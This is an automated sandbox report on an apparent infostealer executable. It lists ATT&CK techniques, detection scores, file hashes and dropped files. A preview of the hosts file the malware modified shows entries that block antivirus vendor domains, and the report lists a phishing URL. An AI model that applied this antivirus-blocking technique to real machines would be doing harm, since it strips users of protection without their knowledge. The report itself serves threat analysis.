Code function: 3_2_000002C5CCF77960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_000002C5CCF77960

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Windows Service	1 Access Token Manipulation	1 Disable or Modify Tools	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	1 Obfuscated Files or Information	Security Account Manager	22 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	713 Process Injection	1 Install Root Certificate	NTDS	23 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	713 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
whrbuflqwhah.exe	63%	ReversingLabs	Win64.Infostealer.Tinba
whrbuflqwhah.exe	72%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe	63%	ReversingLabs	Win64.Infostealer.Tinba
C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe	72%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538050
Start date and time:	2024-10-20 05:57:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	25
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	whrbuflqwhah.exe
Detection:	MAL
Classification:	mal100.adwa.evad.winEXE@45/67@0/0
EGA Information:	Successful, ratio: 90%
HCA Information:	Successful, ratio: 97% Number of executed functions: 60 Number of non-executed functions: 362
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Excluded IPs from analysis (whitelisted): 40.126.32.72, 40.126.32.134, 20.190.160.22, 40.126.32.133, 20.190.160.20, 40.126.32.138, 20.190.160.14, 40.126.32.74
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, ocsp.edge.digicert.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target whrbuflqwhah.exe, PID 7272 because it is empty
Execution Graph export aborted for target whrbuflqwhah.exe, PID 8056 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:57:58	API Interceptor	1x Sleep call for process: whrbuflqwhah.exe modified
23:58:00	API Interceptor	18x Sleep call for process: powershell.exe modified
23:58:35	API Interceptor	497764x Sleep call for process: winlogon.exe modified
23:58:36	API Interceptor	405165x Sleep call for process: lsass.exe modified
23:58:36	API Interceptor	4919x Sleep call for process: svchost.exe modified
23:58:36	API Interceptor	1926x Sleep call for process: dialer.exe modified
23:58:38	API Interceptor	482443x Sleep call for process: dwm.exe modified
23:58:44	API Interceptor	223x Sleep call for process: WmiPrvSE.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	76Kobq8opu.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	2WWOAq4c3b.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	file.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	https://sub.investorscabirigroup.com/4tBfEb10596UgJc775rrkvedqhmm1528ZICWGQLYSOBMUOM389951/749609V14	Get hash	malicious	Phisher	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.PWS.Steam.37666.22649.31511.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	https://blmphilly.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	6jIu8wTqNa.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Win64.Evo-gen.14681.29745.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	SecuriteInfo.com.Win32.PWSX-gen.3941.21019.exe	Get hash	malicious	Unknown	Browse	192.229.221.95

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe	SecuriteInfo.com.Trojan.Siggen18.29918.12269.16005.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.1231.21474.exe	Get hash	malicious	Vidar, Xmrig	Browse
	SecuriteInfo.com.Trojan.DownLoader45.1081.7048.8713.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe

Download File

Process:	C:\Users\user\Desktop\whrbuflqwhah.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5512704
Entropy (8bit):	6.53877415843636
Encrypted:	false
SSDEEP:	98304:iLYn+RXS6SNwDy4+8ZEo1cQ5fQsN/lHKVQyDMUO6PWe7xulC0jYURWBFfiX5g:iO+lFf+toK2fvKhDMnqulQz65
MD5:	99201BE105BF0A4B25D9C5113DA723FB
SHA1:	443E6E285063F67CB46676B3951733592D569A7C
SHA-256:	E4EDA2DE1DAB7A3891B0ED6EFF0CCD905FF4B275150004C6EB5F1D6582EEA9A2
SHA-512:	B57AE7282F2798CBF231F8CA6081B5FAB10068566A49F0AD735E8408CCD73D77EFB5C26A48B7591E20711F0ADBD9E619B40078B9C51D31B7A9768104529E7808
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 72%, Browse
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.Siggen18.29918.12269.16005.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.1231.21474.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.DownLoader45.1081.7048.8713.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...L..e.........."...........S.....@..........@..............................T...........`..................................................x..<.............T...............T.x............................0..(....4..8............y..x............................text............................... ..`.rdata...P...0...R..................@..@.data.....R.......R..n..............@....pdata........T.......T.............@..@.00cfg........T.......T.............@..@.tls..........T.......T.............@....reloc..x.....T.......T.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1n55qbd.ntb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_keg54dfm.zgo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oogfclnn.vk5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sjglyrxt.lep.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\Desktop\whrbuflqwhah.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2748
Entropy (8bit):	4.270757942698912
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
MD5:	BD1F95D36F7FE0BA9388B8236DD385A9
SHA1:	040F86DBD18369D33C06B80415331848777BAB5A
SHA-256:	D1078FC941026B7F04E643134ADE20F14C081DD4E07D604E0BB63E2EB75D7460
SHA-512:	4256BDF517D4BF4551484E72110B24D525D101550ADB78414CAE3B3DA7444ADC44AAD314DF491F1F1DF0DBE7A9925B1BCFC546B19336EEB92A6D553CF95902A7
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	2352
Entropy (8bit):	3.7138157877155136
Encrypted:	false
SSDEEP:	48:Mtn0PgCrP+kcSLdwSCtR65EfWHjjP4OFiNafyr7O3:iignjJOLjjP4Ok4Ky3
MD5:	A940FE875824845B10E99B440C1B893C
SHA1:	AF02049485D9550DBD910C47C5845E6F70BFDA59
SHA-256:	F490E8BB9F00FCF6928DF18FF077791BAC12C3E1A6F3FF56D0B935A7DEFDB22C
SHA-512:	8A3846CD67E41584D2119079761957EC73D17A0054F7EBF6372986A87AD9E7CD06211E0770FA7E367452B3BBA45BA3B25140351BE40236C744BEB62F9E3CEC0B
Malicious:	false
Preview:	ElfChnk.................q.......q...............0...s..\.....................................................................g..................g...........................=...................................................................................p...................................t...?...........................................F...................M...5...........................@...................................................................................................................&...**..0...q........HYL."............&...........=..R..u..$.w.......A..k...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..2............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.A.P.I.2.F........)...G.u.i.d.....&.{.5.b.b.c.a.4.a.8.-.b.2.0.9.-.4.8.d.c.-.a.8.c.7.-.b.2.3.d.3.e.5.2.1.6.f.b.}.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 304, DIRTY
Category:	dropped
Size (bytes):	109960
Entropy (8bit):	3.6448897775983666
Encrypted:	false
SSDEEP:	768:gVUHiapX7xadptrDT9W84KeS7VUHiapX7xadptrDT9W84KeS:rHi6xadptrX9WPBHi6xadptrX9WP
MD5:	1C16AD7CC9AC87B60A474884920637FE
SHA1:	E06C33495C9BEBA6DA41A4E26808A6D33BF04F13
SHA-256:	73DCD930793D5843BE86EF27F4F337EFD140FF21524C34861F2D26BC3D4028D6
SHA-512:	4B3A76E2B3CC9A83590E2B4BEB48A210CD8FB6265F3A490165382667A42BFB487FB63313927F6C8D9E400361515DCD918928A0B77EC1641DFD877808BF2C45AE
Malicious:	false
Preview:	ElfFile.................0...................................................................................................Fo.xElfChnk.........1...............1...........p.........H......................................................................}D8................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.010692427789071
Encrypted:	false
SSDEEP:	384:GhLNzhNCjN0QNGNgN7NxEN5N0RN0zN0mN0RN00N0oN0xN0qNeN0NN0UN0lN09N0Q:GnqqIJMa/Mh9sUwBYAJGUarGlEwxV
MD5:	26C4C5213F3C6B727417EF07207AC1E0
SHA1:	1815CC405C8B70939C252390E2A1AEC87EFF45F2
SHA-256:	767656ADC7440970A3117E0DA8E066D9A3E1DA88CBC82ACABCFA37A3985D5608
SHA-512:	0355BBF16EB471698F47189031E8E18306D8F748E6CC5328C33301BEAAE435647532B24F5EC42A94B92390C19E60D11846B412C6747DC82DC98999E649607B65
Malicious:	false
Preview:	ElfChnk.%.......J.......%.......J............b..Pe.....:....................................................................&...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........].......M...............................VY..................................**......%........0................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1424
Entropy (8bit):	3.3978217275899176
Encrypted:	false
SSDEEP:	24:MQ/w/VTg2W8yNs8KBD8/4NeGUNvA8KBD8/4Nes:MQYrWvvV+U7V+j
MD5:	9BD36E57DE8A7FCDD5E30AFEF22EE2B0
SHA1:	A731EAF6AFE47780BF35AE801A64C6217D4947A3
SHA-256:	F25217081BC15F53E93DDAFD5F2D682AFB4CBB24792979339F1FDE95A971D5C1
SHA-512:	6BA7D84D742AE0079B9DDCF87F411BED6975AC0E46F7F04C70F563FFDA991DDE279F87D8595040B5AED8DF4192824F9A72928677AF001FCDA8C1FC4BA28EFEAB
Malicious:	false
Preview:	ElfChnk........................................................................................................................G................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&.................................................o..H."............&...............................................................@.......X...a.!.....E..........@o..H."....&O....4.'O........P........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....O.p..................z.H."..........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4282829945446665
Encrypted:	false
SSDEEP:	384:XhTm5mcFmNQFmomTDDr0moOm3OPlfmMsgJm5mnmYmcmum/mqmlmtmumbsmbmvMmk:XRHD6CL49mVpgwQFQ
MD5:	31D68ED8BB4F9B15EBF9C4D0A35899F1
SHA1:	F93A08CF3EB83163FFB488AC148C490E0FA55E45
SHA-256:	38D4418FC18FD14561C679EC3AF1287C99027FC40202EDB087382FEFEC230BCD
SHA-512:	B186EFD9FC277976C87D8526210683101077AEF9717C99D0FDC3BA51882D36968A95CC50A72F88B5E4E93F379917BD40A57CCF8C1E2AEC1D9846BF1529446990
Malicious:	false
Preview:	ElfChnk..!.......!.......!.......!..................U.........................................................................e.................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................#...............&...................................**.......!......o.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 2, DIRTY
Category:	dropped
Size (bytes):	69448
Entropy (8bit):	0.6198103849311708
Encrypted:	false
SSDEEP:	96:5wNVaO8sMa3Z85ZML8rjj93Z85ZuZNVaO8sMa3Z85ZML8rjj93Z85Zu:5OV7pp8nMLwv9p8nmV7pp8nMLwv9p8n
MD5:	580FCDF0E94F6163D0949C0E44DFFC42
SHA1:	F5ED3CF52407E3DC1266FB68FBC8EFCF65982E2B
SHA-256:	A95A7F1A4C43E0003E923C503CED412B3D519189698E24BF3D2931C8929ECBA5
SHA-512:	4F9A5DF8AE341067F6DF2137A7E039E1F261A2395F9A1A1F45C91FF5185DCC83C9B1307BA23F3E6DE420B652C0F37B3A1FBB801B505229653EB61B7058A7FE07
Malicious:	false
Preview:	ElfFile.....................................................................................................................A..>ElfChnk.....................................p.........\|......................................................................mp.............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.014860518194814
Encrypted:	false
SSDEEP:	1536:xbBN2A4VD7VAx8whAGU2woJQghcI5oIRA4Hw:
MD5:	4FB8E2CF8B3F20534836684947962DC2
SHA1:	B263607E627C81DA77DB65DF5AED2F3FD84B83E2
SHA-256:	DEAB680C467984C31D118AC595F0F57E573CEEC460CC4B43FCEB0BD66F731294
SHA-512:	D982DB741A044E222D567712FB4799FF6524A1D451C3D2EE3DF7EB17031AD20EF4EC7098BCFB3E2B00C929EB6569C858EFCF275B28240425E4BF8D994AED9053
Malicious:	false
Preview:	ElfChnk.........V...............V...................0q....................................................................... I............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.15655690871689
Encrypted:	false
SSDEEP:	768:SPB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9tFk6dd3s:eXY5nVYIyyqED5BVZUeouPZ
MD5:	2DE60575CB719BF51FAB8A63F696B052
SHA1:	BD44E6B92412898F185D5565865FEA3778573578
SHA-256:	7C14D6D72CD2DE834A0C4D17A68B2584B83B81C647D2C439E1071600E29A803D
SHA-512:	0471E7824795996992E736F33FEA7AF70EA909804DE3AC59EE76B5D0403901A5147558256C3AAE87BA8F1747D151DE63134661BEB9F6E0FF25AB0E3E89BC6B4A
Malicious:	false
Preview:	ElfChnk.........o...............o..........................................................................................._..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

